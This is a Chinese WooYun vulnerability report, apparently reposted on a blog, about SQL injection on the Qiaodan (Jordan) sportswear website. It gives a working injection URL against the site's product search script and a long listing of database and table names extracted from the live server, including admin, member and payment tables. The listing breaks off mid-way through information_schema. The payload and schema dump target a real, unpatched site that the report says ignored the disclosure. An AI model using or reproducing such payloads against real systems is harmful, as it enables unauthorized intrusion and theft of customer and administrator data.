乔丹官网几十处sql注射漏洞

admin
admin
admin
108986
文章
90
评论
2017年5月2日23:46:44评论361 views字数 237阅读0分47秒阅读模式
摘要

2016-03-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-04-24： 厂商已经主动忽略漏洞，细节向公众公开

漏洞概要 关注数(3) 关注此漏洞

缺陷编号： WooYun-2016-182780

漏洞标题： 乔丹官网几十处sql注射漏洞

相关厂商： http://qiaodan.com/

漏洞作者： ArcticWolf

提交时间： 2016-03-10 10:11

公开时间： 2016-04-24 10:11

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 未联系到厂商或者厂商积极忽略

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： Mysql 注射技巧 sql

0人收藏

漏洞详情

披露状态：

2016-03-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-04-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

上次提交361度没过，，这次应该不会再有人提交了吧，我都百度了的

详细说明：

code 区域 
http://qiaodan.com/chanpin/search.php?bclassid=2%20AND%203*2*1%3d6%20AND%20869%3d869&classid=15&jg_max=&jg_min=&page=2&sex=0&where=&xz=

还有好多（八十多个）的，此处上图

乔丹官网几十处sql注射漏洞

漏洞证明：

随便注了个，表不少

code 区域 
Database: u817646
 [411 tables]
 +----------------------------------------------+
 | 2012_seo                                     |
 | daiyan                                       |
 | fengxing2_seo                                |
 | hdzz_products                                |
 | hdzz_products2                               |
 | hdzz_seo                                     |
 | qb_jfabout                                   |
 | qb_jfsort                                    |
 | qd_dyy_picture                               |
 | qd_dyy_pro                                   |
 | qd_dyy_seo                                   |
 | qiaodan_2013lzmarathon_intro                 |
 | qiaodan_2013lzmarathon_picture               |
 | qiaodan_2013lzmarathon_seo                   |
 | qiaodan_2013qyh_picture                      |
 | qiaodan_admin                                |
 | qiaodan_baoming                              |
 | qiaodan_baoming_copy                         |
 | qiaodan_coode                                |
 | qiaodan_ecms_article                         |
 | qiaodan_ecms_article_check                   |
 | qiaodan_ecms_article_check_data              |
 | qiaodan_ecms_article_data_1                  |
 | qiaodan_ecms_article_doc                     |
 | qiaodan_ecms_article_doc_data                |
 | qiaodan_ecms_article_doc_index               |
 | qiaodan_ecms_article_index                   |
 | qiaodan_ecms_download                        |
 | qiaodan_ecms_download_check                  |
 | qiaodan_ecms_download_check_data             |
 | qiaodan_ecms_download_data_1                 |
 | qiaodan_ecms_download_doc                    |
 | qiaodan_ecms_download_doc_data               |
 | qiaodan_ecms_download_doc_index              |
 | qiaodan_ecms_download_index                  |
 | qiaodan_ecms_flash                           |
 | qiaodan_ecms_flash_check                     |
 | qiaodan_ecms_flash_check_data                |
 | qiaodan_ecms_flash_data_1                    |
 | qiaodan_ecms_flash_doc                       |
 | qiaodan_ecms_flash_doc_data                  |
 | qiaodan_ecms_flash_doc_index                 |
 | qiaodan_ecms_flash_index                     |
 | qiaodan_ecms_info                            |
 | qiaodan_ecms_info_check                      |
 | qiaodan_ecms_info_check_data                 |
 | qiaodan_ecms_info_data_1                     |
 | qiaodan_ecms_info_doc                        |
 | qiaodan_ecms_info_doc_data                   |
 | qiaodan_ecms_info_doc_index                  |
 | qiaodan_ecms_info_index                      |
 | qiaodan_ecms_infoclass_article               |
 | qiaodan_ecms_infoclass_download              |
 | qiaodan_ecms_infoclass_flash                 |
 | qiaodan_ecms_infoclass_info                  |
 | qiaodan_ecms_infoclass_kuz                   |
 | qiaodan_ecms_infoclass_movie                 |
 | qiaodan_ecms_infoclass_news                  |
 | qiaodan_ecms_infoclass_photo                 |
 | qiaodan_ecms_infoclass_products              |
 | qiaodan_ecms_infoclass_shop                  |
 | qiaodan_ecms_infoclass_tvc                   |
 | qiaodan_ecms_infoclass_vip                   |
 | qiaodan_ecms_infoclass_zhanji                |
 | qiaodan_ecms_infotmp_article                 |
 | qiaodan_ecms_infotmp_download                |
 | qiaodan_ecms_infotmp_flash                   |
 | qiaodan_ecms_infotmp_info                    |
 | qiaodan_ecms_infotmp_kuz                     |
 | qiaodan_ecms_infotmp_movie                   |
 | qiaodan_ecms_infotmp_news                    |
 | qiaodan_ecms_infotmp_photo                   |
 | qiaodan_ecms_infotmp_products                |
 | qiaodan_ecms_infotmp_shop                    |
 | qiaodan_ecms_infotmp_tvc                     |
 | qiaodan_ecms_infotmp_vip                     |
 | qiaodan_ecms_infotmp_zhanji                  |
 | qiaodan_ecms_kuz                             |
 | qiaodan_ecms_kuz_check                       |
 | qiaodan_ecms_kuz_check_data                  |
 | qiaodan_ecms_kuz_data_1                      |
 | qiaodan_ecms_kuz_doc                         |
 | qiaodan_ecms_kuz_doc_data                    |
 | qiaodan_ecms_kuz_doc_index                   |
 | qiaodan_ecms_kuz_index                       |
 | qiaodan_ecms_movie                           |
 | qiaodan_ecms_movie_check                     |
 | qiaodan_ecms_movie_check_data                |
 | qiaodan_ecms_movie_data_1                    |
 | qiaodan_ecms_movie_doc                       |
 | qiaodan_ecms_movie_doc_data                  |
 | qiaodan_ecms_movie_doc_index                 |
 | qiaodan_ecms_movie_index                     |
 | qiaodan_ecms_news                            |
 | qiaodan_ecms_news_check                      |
 | qiaodan_ecms_news_check_data                 |
 | qiaodan_ecms_news_data_1                     |
 | qiaodan_ecms_news_doc                        |
 | qiaodan_ecms_news_doc_data                   |
 | qiaodan_ecms_news_doc_index                  |
 | qiaodan_ecms_news_index                      |
 | qiaodan_ecms_photo                           |
 | qiaodan_ecms_photo_check                     |
 | qiaodan_ecms_photo_check_data                |
 | qiaodan_ecms_photo_data_1                    |
 | qiaodan_ecms_photo_doc                       |
 | qiaodan_ecms_photo_doc_data                  |
 | qiaodan_ecms_photo_doc_index                 |
 | qiaodan_ecms_photo_index                     |
 | qiaodan_ecms_products                        |
 | qiaodan_ecms_products2                       |
 | qiaodan_ecms_products3                       |
 | qiaodan_ecms_products_check                  |
 | qiaodan_ecms_products_check_data             |
 | qiaodan_ecms_products_data_1                 |
 | qiaodan_ecms_products_data_1_2               |
 | qiaodan_ecms_products_doc                    |
 | qiaodan_ecms_products_doc_data               |
 | qiaodan_ecms_products_doc_index              |
 | qiaodan_ecms_products_index                  |
 | qiaodan_ecms_products_index2                 |
 | qiaodan_ecms_shop                            |
 | qiaodan_ecms_shop_check                      |
 | qiaodan_ecms_shop_check_data                 |
 | qiaodan_ecms_shop_data_1                     |
 | qiaodan_ecms_shop_doc                        |
 | qiaodan_ecms_shop_doc_data                   |
 | qiaodan_ecms_shop_doc_index                  |
 | qiaodan_ecms_shop_index                      |
 | qiaodan_ecms_tvc                             |
 | qiaodan_ecms_tvc_check                       |
 | qiaodan_ecms_tvc_check_data                  |
 | qiaodan_ecms_tvc_data_1                      |
 | qiaodan_ecms_tvc_doc                         |
 | qiaodan_ecms_tvc_doc_data                    |
 | qiaodan_ecms_tvc_doc_index                   |
 | qiaodan_ecms_tvc_index                       |
 | qiaodan_ecms_vip                             |
 | qiaodan_ecms_vip_check                       |
 | qiaodan_ecms_vip_check_data                  |
 | qiaodan_ecms_vip_data_1                      |
 | qiaodan_ecms_vip_doc                         |
 | qiaodan_ecms_vip_doc_data                    |
 | qiaodan_ecms_vip_doc_index                   |
 | qiaodan_ecms_vip_index                       |
 | qiaodan_ecms_zhanji                          |
 | qiaodan_ecms_zhanji_check                    |
 | qiaodan_ecms_zhanji_check_data               |
 | qiaodan_ecms_zhanji_data_1                   |
 | qiaodan_ecms_zhanji_doc                      |
 | qiaodan_ecms_zhanji_doc_data                 |
 | qiaodan_ecms_zhanji_doc_index                |
 | qiaodan_ecms_zhanji_index                    |
 | qiaodan_eight_win                            |
 | qiaodan_eight_works                          |
 | qiaodan_enewsad                              |
 | qiaodan_enewsadclass                         |
 | qiaodan_enewsadminstyle                      |
 | qiaodan_enewsbefrom                          |
 | qiaodan_enewsbq                              |
 | qiaodan_enewsbqclass                         |
 | qiaodan_enewsbqtemp                          |
 | qiaodan_enewsbqtempclass                     |
 | qiaodan_enewsbuybak                          |
 | qiaodan_enewsbuygroup                        |
 | qiaodan_enewscard                            |
 | qiaodan_enewsclass                           |
 | qiaodan_enewsclass_copy                      |
 | qiaodan_enewsclass_stats                     |
 | qiaodan_enewsclass_stats_ip                  |
 | qiaodan_enewsclass_stats_set                 |
 | qiaodan_enewsclassadd                        |
 | qiaodan_enewsclassf                          |
 | qiaodan_enewsclassnavcache                   |
 | qiaodan_enewsclasstemp                       |
 | qiaodan_enewsclasstempclass                  |
 | qiaodan_enewsdiggips                         |
 | qiaodan_enewsdo                              |
 | qiaodan_enewsdolog                           |
 | qiaodan_enewsdownerror                       |
 | qiaodan_enewsdownrecord                      |
 | qiaodan_enewsdownurlqz                       |
 | qiaodan_enewserrorclass                      |
 | qiaodan_enewsf                               |
 | qiaodan_enewsfava                            |
 | qiaodan_enewsfavaclass                       |
 | qiaodan_enewsfeedback                        |
 | qiaodan_enewsfeedbackclass                   |
 | qiaodan_enewsfeedbackf                       |
 | qiaodan_enewsfile_1                          |
 | qiaodan_enewsfile_member                     |
 | qiaodan_enewsfile_other                      |
 | qiaodan_enewsfile_public                     |
 | qiaodan_enewsgbook                           |
 | qiaodan_enewsgbookclass                      |
 | qiaodan_enewsgfenip                          |
 | qiaodan_enewsgroup                           |
 | qiaodan_enewshmsg                            |
 | qiaodan_enewshnotice                         |
 | qiaodan_enewshy                              |
 | qiaodan_enewshyclass                         |
 | qiaodan_enewsindexpage                       |
 | qiaodan_enewsinfoclass                       |
 | qiaodan_enewsinfotype                        |
 | qiaodan_enewsinfovote                        |
 | qiaodan_enewsjstemp                          |
 | qiaodan_enewsjstempclass                     |
 | qiaodan_enewskey                             |
 | qiaodan_enewskeyclass                        |
 | qiaodan_enewslink                            |
 | qiaodan_enewslinkclass                       |
 | qiaodan_enewslinktmp                         |
 | qiaodan_enewslisttemp                        |
 | qiaodan_enewslisttempclass                   |
 | qiaodan_enewslog                             |
 | qiaodan_enewsloginfail                       |
 | qiaodan_enewsmember                          |
 | qiaodan_enewsmember_connect                  |
 | qiaodan_enewsmember_connect_app              |
 | qiaodan_enewsmemberadd                       |
 | qiaodan_enewsmemberf                         |
 | qiaodan_enewsmemberfeedback                  |
 | qiaodan_enewsmemberform                      |
 | qiaodan_enewsmembergbook                     |
 | qiaodan_enewsmembergroup                     |
 | qiaodan_enewsmemberpub                       |
 | qiaodan_enewsmenu                            |
 | qiaodan_enewsmenuclass                       |
 | qiaodan_enewsmod                             |
 | qiaodan_enewsnewstemp                        |
 | qiaodan_enewsnewstempclass                   |
 | qiaodan_enewsnotcj                           |
 | qiaodan_enewsnotice                          |
 | qiaodan_enewspage                            |
 | qiaodan_enewspageclass                       |
 | qiaodan_enewspagetemp                        |
 | qiaodan_enewspayapi                          |
 | qiaodan_enewspayrecord                       |
 | qiaodan_enewspic                             |
 | qiaodan_enewspicclass                        |
 | qiaodan_enewspl_1                            |
 | qiaodan_enewspl_set                          |
 | qiaodan_enewsplayer                          |
 | qiaodan_enewsplf                             |
 | qiaodan_enewspltemp                          |
 | qiaodan_enewspostdata                        |
 | qiaodan_enewspostserver                      |
 | qiaodan_enewsprinttemp                       |
 | qiaodan_enewspublic                          |
 | qiaodan_enewspublic_update                   |
 | qiaodan_enewspubtemp                         |
 | qiaodan_enewspubvar                          |
 | qiaodan_enewspubvarclass                     |
 | qiaodan_enewsqmsg                            |
 | qiaodan_enewssearch                          |
 | qiaodan_enewssearchall                       |
 | qiaodan_enewssearchall_load                  |
 | qiaodan_enewssearchtemp                      |
 | qiaodan_enewssearchtempclass                 |
 | qiaodan_enewsshop_address                    |
 | qiaodan_enewsshop_ddlog                      |
 | qiaodan_enewsshop_precode                    |
 | qiaodan_enewsshop_set                        |
 | qiaodan_enewsshopdd                          |
 | qiaodan_enewsshopdd_add                      |
 | qiaodan_enewsshoppayfs                       |
 | qiaodan_enewsshopps                          |
 | qiaodan_enewssp                              |
 | qiaodan_enewssp_1                            |
 | qiaodan_enewssp_2                            |
 | qiaodan_enewssp_3                            |
 | qiaodan_enewssp_3_bak                        |
 | qiaodan_enewsspacestyle                      |
 | qiaodan_enewsspclass                         |
 | qiaodan_enewssql                             |
 | qiaodan_enewstable                           |
 | qiaodan_enewstags                            |
 | qiaodan_enewstagsclass                       |
 | qiaodan_enewstagsdata                        |
 | qiaodan_enewstask                            |
 | qiaodan_enewstempbak                         |
 | qiaodan_enewstempdt                          |
 | qiaodan_enewstempgroup                       |
 | qiaodan_enewstempvar                         |
 | qiaodan_enewstempvarclass                    |
 | qiaodan_enewstogzts                          |
 | qiaodan_enewsuser                            |
 | qiaodan_enewsuseradd                         |
 | qiaodan_enewsuserclass                       |
 | qiaodan_enewsuserjs                          |
 | qiaodan_enewsuserjsclass                     |
 | qiaodan_enewsuserlist                        |
 | qiaodan_enewsuserlistclass                   |
 | qiaodan_enewsuserloginck                     |
 | qiaodan_enewsvote                            |
 | qiaodan_enewsvotemod                         |
 | qiaodan_enewsvotetemp                        |
 | qiaodan_enewswapstyle                        |
 | qiaodan_enewswfinfo                          |
 | qiaodan_enewswfinfolog                       |
 | qiaodan_enewswords                           |
 | qiaodan_enewsworkflow                        |
 | qiaodan_enewsworkflowitem                    |
 | qiaodan_enewswriter                          |
 | qiaodan_enewsyh                              |
 | qiaodan_enewszt                              |
 | qiaodan_enewsztadd                           |
 | qiaodan_enewsztclass                         |
 | qiaodan_enewsztf                             |
 | qiaodan_enewsztinfo                          |
 | qiaodan_enewszttype                          |
 | qiaodan_enewszttypeadd                       |
 | qiaodan_gundong                              |
 | qiaodan_hl                                   |
 | qiaodan_hlchange                             |
 | qiaodan_kuz2013_picture                      |
 | qiaodan_kuz2013_seo                          |
 | qiaodan_lp                                   |
 | qiaodan_lpchange                             |
 | qiaodan_onlinebuy                            |
 | qiaodan_pinpai                               |
 | qiaodan_pinpai2                              |
 | qiaodan_pinpai_copy                          |
 | qiaodan_products                             |
 | qiaodan_products2                            |
 | qiaodan_products55_copy                      |
 | qiaodan_seo                                  |
 | qiaodan_session                              |
 | qiaodan_shopall                              |
 | qiaodan_shopall_copy                         |
 | qiaodan_sina                                 |
 | qiaodan_tech                                 |
 | qiaodan_techclass                            |
 | qiaodan_vip                                  |
 | qiaodan_vip_002                              |
 | qiaodan_vip_1507                             |
 | qiaodan_vip_1508                             |
 | qiaodan_vip_1509                             |
 | qiaodan_vip_150915                           |
 | qiaodan_vip_151008                           |
 | qiaodan_vip_151203                           |
 | qiaodan_vip_1601                             |
 | qiaodan_vip_copy1                            |
 | qiaodan_viprecord                            |
 | qiaodan_viprecord_copy                       |
 | qiaodan_vipuser                              |
 | tb_friend                                    |
 | tb_friends                                   |
 | tb_game                                      |
 | tb_goodluck                                  |
 | tb_hys                                       |
 | tb_login                                     |
 | tb_qqid                                      |
 | tb_reason                                    |
 | tb_score                                     |
 | tb_user                                      |
 | tb_weibo                                     |
 | town_admin                                   |
 | town_admin_auth                              |
 | town_admin_rights                            |
 | town_advs_dl                                 |
 | town_advs_float                              |
 | town_advs_lb                                 |
 | town_advs_left                               |
 | town_advs_page                               |
 | town_advs_pop                                |
 | town_advs_right                              |
 | town_coltype                                 |
 | town_comment                                 |
 | town_comment_cat                             |
 | town_config                                  |
 | town_cp_cat                                  |
 | town_cp_con                                  |
 | town_default_rights                          |
 | town_down_cat                                |
 | town_down_con                                |
 | town_duty                                    |
 | town_form                                    |
 | town_form_feedback                           |
 | town_link                                    |
 | town_link_cat                                |
 | town_logo                                    |
 | town_member                                  |
 | town_member_cat                              |
 | town_member_func                             |
 | town_member_notice                           |
 | town_member_nums                             |
 | town_member_regform                          |
 | town_member_rights                           |
 | town_member_type                             |
 | town_member_zone                             |
 | town_menu                                    |
 | town_news_auth                               |
 | town_news_cat                                |
 | town_news_con                                |
 | town_pageset                                 |
 | town_plus                                    |
 | town_plus_set                                |
 | town_poll_config                             |
 | town_poll_data                               |
 | town_poll_index                              |
 | town_proj                                    |
 | town_prop                                    |
 | town_secure                                  |
 | town_stat_base                               |
 | town_stat_come                               |
 | town_stat_count                              |
 | town_stat_date                               |
 | town_temp                                    |
 | town_weather                                 |
 | waterfall                                    |
 +----------------------------------------------+
 
 Database: qiaodan
 [302 tables]
 +----------------------------------------------+
 | daiyan                                       |
 | qiaodan_ecms_article                         |
 | qiaodan_ecms_article_check                   |
 | qiaodan_ecms_article_check_data              |
 | qiaodan_ecms_article_data_1                  |
 | qiaodan_ecms_article_doc                     |
 | qiaodan_ecms_article_doc_data                |
 | qiaodan_ecms_article_doc_index               |
 | qiaodan_ecms_article_index                   |
 | qiaodan_ecms_download                        |
 | qiaodan_ecms_download_check                  |
 | qiaodan_ecms_download_check_data             |
 | qiaodan_ecms_download_data_1                 |
 | qiaodan_ecms_download_doc                    |
 | qiaodan_ecms_download_doc_data               |
 | qiaodan_ecms_download_doc_index              |
 | qiaodan_ecms_download_index                  |
 | qiaodan_ecms_flash                           |
 | qiaodan_ecms_flash_check                     |
 | qiaodan_ecms_flash_check_data                |
 | qiaodan_ecms_flash_data_1                    |
 | qiaodan_ecms_flash_doc                       |
 | qiaodan_ecms_flash_doc_data                  |
 | qiaodan_ecms_flash_doc_index                 |
 | qiaodan_ecms_flash_index                     |
 | qiaodan_ecms_info                            |
 | qiaodan_ecms_info_check                      |
 | qiaodan_ecms_info_check_data                 |
 | qiaodan_ecms_info_data_1                     |
 | qiaodan_ecms_info_doc                        |
 | qiaodan_ecms_info_doc_data                   |
 | qiaodan_ecms_info_doc_index                  |
 | qiaodan_ecms_info_index                      |
 | qiaodan_ecms_infoclass_article               |
 | qiaodan_ecms_infoclass_download              |
 | qiaodan_ecms_infoclass_flash                 |
 | qiaodan_ecms_infoclass_info                  |
 | qiaodan_ecms_infoclass_kuz                   |
 | qiaodan_ecms_infoclass_movie                 |
 | qiaodan_ecms_infoclass_news                  |
 | qiaodan_ecms_infoclass_photo                 |
 | qiaodan_ecms_infoclass_products              |
 | qiaodan_ecms_infoclass_shop                  |
 | qiaodan_ecms_infoclass_tvc                   |
 | qiaodan_ecms_infoclass_vip                   |
 | qiaodan_ecms_infoclass_zhanji                |
 | qiaodan_ecms_infotmp_article                 |
 | qiaodan_ecms_infotmp_download                |
 | qiaodan_ecms_infotmp_flash                   |
 | qiaodan_ecms_infotmp_info                    |
 | qiaodan_ecms_infotmp_kuz                     |
 | qiaodan_ecms_infotmp_movie                   |
 | qiaodan_ecms_infotmp_news                    |
 | qiaodan_ecms_infotmp_photo                   |
 | qiaodan_ecms_infotmp_products                |
 | qiaodan_ecms_infotmp_shop                    |
 | qiaodan_ecms_infotmp_tvc                     |
 | qiaodan_ecms_infotmp_vip                     |
 | qiaodan_ecms_infotmp_zhanji                  |
 | qiaodan_ecms_kuz                             |
 | qiaodan_ecms_kuz_check                       |
 | qiaodan_ecms_kuz_check_data                  |
 | qiaodan_ecms_kuz_data_1                      |
 | qiaodan_ecms_kuz_doc                         |
 | qiaodan_ecms_kuz_doc_data                    |
 | qiaodan_ecms_kuz_doc_index                   |
 | qiaodan_ecms_kuz_index                       |
 | qiaodan_ecms_movie                           |
 | qiaodan_ecms_movie_check                     |
 | qiaodan_ecms_movie_check_data                |
 | qiaodan_ecms_movie_data_1                    |
 | qiaodan_ecms_movie_doc                       |
 | qiaodan_ecms_movie_doc_data                  |
 | qiaodan_ecms_movie_doc_index                 |
 | qiaodan_ecms_movie_index                     |
 | qiaodan_ecms_news                            |
 | qiaodan_ecms_news_check                      |
 | qiaodan_ecms_news_check_data                 |
 | qiaodan_ecms_news_data_1                     |
 | qiaodan_ecms_news_doc                        |
 | qiaodan_ecms_news_doc_data                   |
 | qiaodan_ecms_news_doc_index                  |
 | qiaodan_ecms_news_index                      |
 | qiaodan_ecms_photo                           |
 | qiaodan_ecms_photo_check                     |
 | qiaodan_ecms_photo_check_data                |
 | qiaodan_ecms_photo_data_1                    |
 | qiaodan_ecms_photo_doc                       |
 | qiaodan_ecms_photo_doc_data                  |
 | qiaodan_ecms_photo_doc_index                 |
 | qiaodan_ecms_photo_index                     |
 | qiaodan_ecms_products                        |
 | qiaodan_ecms_products10                      |
 | qiaodan_ecms_products2                       |
 | qiaodan_ecms_products6                       |
 | qiaodan_ecms_products_check                  |
 | qiaodan_ecms_products_check_data             |
 | qiaodan_ecms_products_copy                   |
 | qiaodan_ecms_products_data_1                 |
 | qiaodan_ecms_products_data_1_copy            |
 | qiaodan_ecms_products_doc                    |
 | qiaodan_ecms_products_doc_data               |
 | qiaodan_ecms_products_doc_index              |
 | qiaodan_ecms_products_index                  |
 | qiaodan_ecms_products_index_copy             |
 | qiaodan_ecms_shop                            |
 | qiaodan_ecms_shop_check                      |
 | qiaodan_ecms_shop_check_data                 |
 | qiaodan_ecms_shop_data_1                     |
 | qiaodan_ecms_shop_doc                        |
 | qiaodan_ecms_shop_doc_data                   |
 | qiaodan_ecms_shop_doc_index                  |
 | qiaodan_ecms_shop_index                      |
 | qiaodan_ecms_tvc                             |
 | qiaodan_ecms_tvc_check                       |
 | qiaodan_ecms_tvc_check_data                  |
 | qiaodan_ecms_tvc_data_1                      |
 | qiaodan_ecms_tvc_doc                         |
 | qiaodan_ecms_tvc_doc_data                    |
 | qiaodan_ecms_tvc_doc_index                   |
 | qiaodan_ecms_tvc_index                       |
 | qiaodan_ecms_vip                             |
 | qiaodan_ecms_vip_check                       |
 | qiaodan_ecms_vip_check_data                  |
 | qiaodan_ecms_vip_data_1                      |
 | qiaodan_ecms_vip_doc                         |
 | qiaodan_ecms_vip_doc_data                    |
 | qiaodan_ecms_vip_doc_index                   |
 | qiaodan_ecms_vip_index                       |
 | qiaodan_ecms_zhanji                          |
 | qiaodan_ecms_zhanji_check                    |
 | qiaodan_ecms_zhanji_check_data               |
 | qiaodan_ecms_zhanji_data_1                   |
 | qiaodan_ecms_zhanji_doc                      |
 | qiaodan_ecms_zhanji_doc_data                 |
 | qiaodan_ecms_zhanji_doc_index                |
 | qiaodan_ecms_zhanji_index                    |
 | qiaodan_enewsad                              |
 | qiaodan_enewsadclass                         |
 | qiaodan_enewsadminstyle                      |
 | qiaodan_enewsbefrom                          |
 | qiaodan_enewsbq                              |
 | qiaodan_enewsbqclass                         |
 | qiaodan_enewsbqtemp                          |
 | qiaodan_enewsbqtempclass                     |
 | qiaodan_enewsbuybak                          |
 | qiaodan_enewsbuygroup                        |
 | qiaodan_enewscard                            |
 | qiaodan_enewsclass                           |
 | qiaodan_enewsclass_stats                     |
 | qiaodan_enewsclass_stats_ip                  |
 | qiaodan_enewsclass_stats_set                 |
 | qiaodan_enewsclassadd                        |
 | qiaodan_enewsclassf                          |
 | qiaodan_enewsclassnavcache                   |
 | qiaodan_enewsclasstemp                       |
 | qiaodan_enewsclasstempclass                  |
 | qiaodan_enewsdiggips                         |
 | qiaodan_enewsdo                              |
 | qiaodan_enewsdolog                           |
 | qiaodan_enewsdownerror                       |
 | qiaodan_enewsdownrecord                      |
 | qiaodan_enewsdownurlqz                       |
 | qiaodan_enewserrorclass                      |
 | qiaodan_enewsf                               |
 | qiaodan_enewsfava                            |
 | qiaodan_enewsfavaclass                       |
 | qiaodan_enewsfeedback                        |
 | qiaodan_enewsfeedbackclass                   |
 | qiaodan_enewsfeedbackf                       |
 | qiaodan_enewsfile_1                          |
 | qiaodan_enewsfile_member                     |
 | qiaodan_enewsfile_other                      |
 | qiaodan_enewsfile_public                     |
 | qiaodan_enewsgbook                           |
 | qiaodan_enewsgbookclass                      |
 | qiaodan_enewsgfenip                          |
 | qiaodan_enewsgroup                           |
 | qiaodan_enewshmsg                            |
 | qiaodan_enewshnotice                         |
 | qiaodan_enewshy                              |
 | qiaodan_enewshyclass                         |
 | qiaodan_enewsindexpage                       |
 | qiaodan_enewsinfoclass                       |
 | qiaodan_enewsinfotype                        |
 | qiaodan_enewsinfovote                        |
 | qiaodan_enewsjstemp                          |
 | qiaodan_enewsjstempclass                     |
 | qiaodan_enewskey                             |
 | qiaodan_enewskeyclass                        |
 | qiaodan_enewslink                            |
 | qiaodan_enewslinkclass                       |
 | qiaodan_enewslinktmp                         |
 | qiaodan_enewslisttemp                        |
 | qiaodan_enewslisttempclass                   |
 | qiaodan_enewslog                             |
 | qiaodan_enewsloginfail                       |
 | qiaodan_enewsmember                          |
 | qiaodan_enewsmember_connect                  |
 | qiaodan_enewsmember_connect_app              |
 | qiaodan_enewsmemberadd                       |
 | qiaodan_enewsmemberf                         |
 | qiaodan_enewsmemberfeedback                  |
 | qiaodan_enewsmemberform                      |
 | qiaodan_enewsmembergbook                     |
 | qiaodan_enewsmembergroup                     |
 | qiaodan_enewsmemberpub                       |
 | qiaodan_enewsmenu                            |
 | qiaodan_enewsmenuclass                       |
 | qiaodan_enewsmod                             |
 | qiaodan_enewsnewstemp                        |
 | qiaodan_enewsnewstempclass                   |
 | qiaodan_enewsnotcj                           |
 | qiaodan_enewsnotice                          |
 | qiaodan_enewspage                            |
 | qiaodan_enewspageclass                       |
 | qiaodan_enewspagetemp                        |
 | qiaodan_enewspayapi                          |
 | qiaodan_enewspayrecord                       |
 | qiaodan_enewspic                             |
 | qiaodan_enewspicclass                        |
 | qiaodan_enewspl_1                            |
 | qiaodan_enewspl_set                          |
 | qiaodan_enewsplayer                          |
 | qiaodan_enewsplf                             |
 | qiaodan_enewspltemp                          |
 | qiaodan_enewspostdata                        |
 | qiaodan_enewspostserver                      |
 | qiaodan_enewsprinttemp                       |
 | qiaodan_enewspublic                          |
 | qiaodan_enewspublic_update                   |
 | qiaodan_enewspubtemp                         |
 | qiaodan_enewspubvar                          |
 | qiaodan_enewspubvarclass                     |
 | qiaodan_enewsqmsg                            |
 | qiaodan_enewssearch                          |
 | qiaodan_enewssearchall                       |
 | qiaodan_enewssearchall_load                  |
 | qiaodan_enewssearchtemp                      |
 | qiaodan_enewssearchtempclass                 |
 | qiaodan_enewsshop_address                    |
 | qiaodan_enewsshop_ddlog                      |
 | qiaodan_enewsshop_precode                    |
 | qiaodan_enewsshop_set                        |
 | qiaodan_enewsshopdd                          |
 | qiaodan_enewsshopdd_add                      |
 | qiaodan_enewsshoppayfs                       |
 | qiaodan_enewsshopps                          |
 | qiaodan_enewssp                              |
 | qiaodan_enewssp_1                            |
 | qiaodan_enewssp_2                            |
 | qiaodan_enewssp_3                            |
 | qiaodan_enewssp_3_bak                        |
 | qiaodan_enewsspacestyle                      |
 | qiaodan_enewsspclass                         |
 | qiaodan_enewssql                             |
 | qiaodan_enewstable                           |
 | qiaodan_enewstags                            |
 | qiaodan_enewstagsclass                       |
 | qiaodan_enewstagsdata                        |
 | qiaodan_enewstask                            |
 | qiaodan_enewstempbak                         |
 | qiaodan_enewstempdt                          |
 | qiaodan_enewstempgroup                       |
 | qiaodan_enewstempvar                         |
 | qiaodan_enewstempvarclass                    |
 | qiaodan_enewstogzts                          |
 | qiaodan_enewsuser                            |
 | qiaodan_enewsuseradd                         |
 | qiaodan_enewsuserclass                       |
 | qiaodan_enewsuserjs                          |
 | qiaodan_enewsuserjsclass                     |
 | qiaodan_enewsuserlist                        |
 | qiaodan_enewsuserlistclass                   |
 | qiaodan_enewsuserloginck                     |
 | qiaodan_enewsvote                            |
 | qiaodan_enewsvotemod                         |
 | qiaodan_enewsvotetemp                        |
 | qiaodan_enewswapstyle                        |
 | qiaodan_enewswfinfo                          |
 | qiaodan_enewswfinfolog                       |
 | qiaodan_enewswords                           |
 | qiaodan_enewsworkflow                        |
 | qiaodan_enewsworkflowitem                    |
 | qiaodan_enewswriter                          |
 | qiaodan_enewsyh                              |
 | qiaodan_enewszt                              |
 | qiaodan_enewsztadd                           |
 | qiaodan_enewsztclass                         |
 | qiaodan_enewsztf                             |
 | qiaodan_enewsztinfo                          |
 | qiaodan_enewszttype                          |
 | qiaodan_enewszttypeadd                       |
 | qiaodan_gundong                              |
 | qiaodan_hlchange                             |
 | qiaodan_lpchange                             |
 | qiaodan_pinpai                               |
 | qiaodan_pinpai2                              |
 | qiaodan_pinpai_copy                          |
 | qiaodan_shopall                              |
 | qiaodan_vip                                  |
 | qiaodan_viprecord                            |
 +----------------------------------------------+
 
 Database: performance_schema
 [17 tables]
 +----------------------------------------------+
 | cond_instances                               |
 | events_waits_current                         |
 | events_waits_history                         |
 | events_waits_history_long                    |
 | events_waits_summary_by_instance             |
 | events_waits_summary_by_thread_by_event_name |
 | events_waits_summary_global_by_event_name    |
 | file_instances                               |
 | file_summary_by_event_name                   |
 | file_summary_by_instance                     |
 | mutex_instances                              |
 | performance_timers                           |
 | rwlock_instances                             |
 | setup_consumers                              |
 | setup_instruments                            |
 | setup_timers                                 |
 | threads                                      |
 +----------------------------------------------+
 
 Database: information_schema
 [40 tables]
 +----------------------------------------------+
 | CHARACTER_SETS                               |
 | COLLATIONS                                   |
 | COLLATION_CHARACTER_SET_APPLICABILITY        |
 | COLUMNS                                      |
 | COLUMN_PRIVILEGES                            |
 | ENGINES                                      |
 | EVENTS                                       |
 | FILES                                        |
 | GLOBAL_STATUS                                |
 | GLOBAL_VARIABLES                             |
 | INNODB_BUFFER_PAGE                           |
 | INNODB_BUFFER_PAGE_LRU                       |
 | INNODB_BUFFER_POOL_STATS                     |
 | INNODB_CMP                                   |
 | INNODB_CMPMEM                                |
 | INNODB_CMPMEM_RESET                          |
 | INNODB_CMP_RESET                             |
 | INNODB_LOCKS                                 |
 | INNODB_LOCK_WAITS                            |
 | INNODB_TRX                                   |
 | KEY_COLUMN_USAGE                             |
 | PARAMETERS                                   |
 | PARTITIONS                                   |
 | PLUGINS                                      |
 | PROCESSLIST                                  |
 | PROFILING                                    |
 | REFERENTIAL_CONSTRAINTS                      |
 | ROUTINES                                     |
 | SCHEMATA                                     |
 | SCHEMA_PRIVILEGES                            |
 | SESSION_STATUS                               |
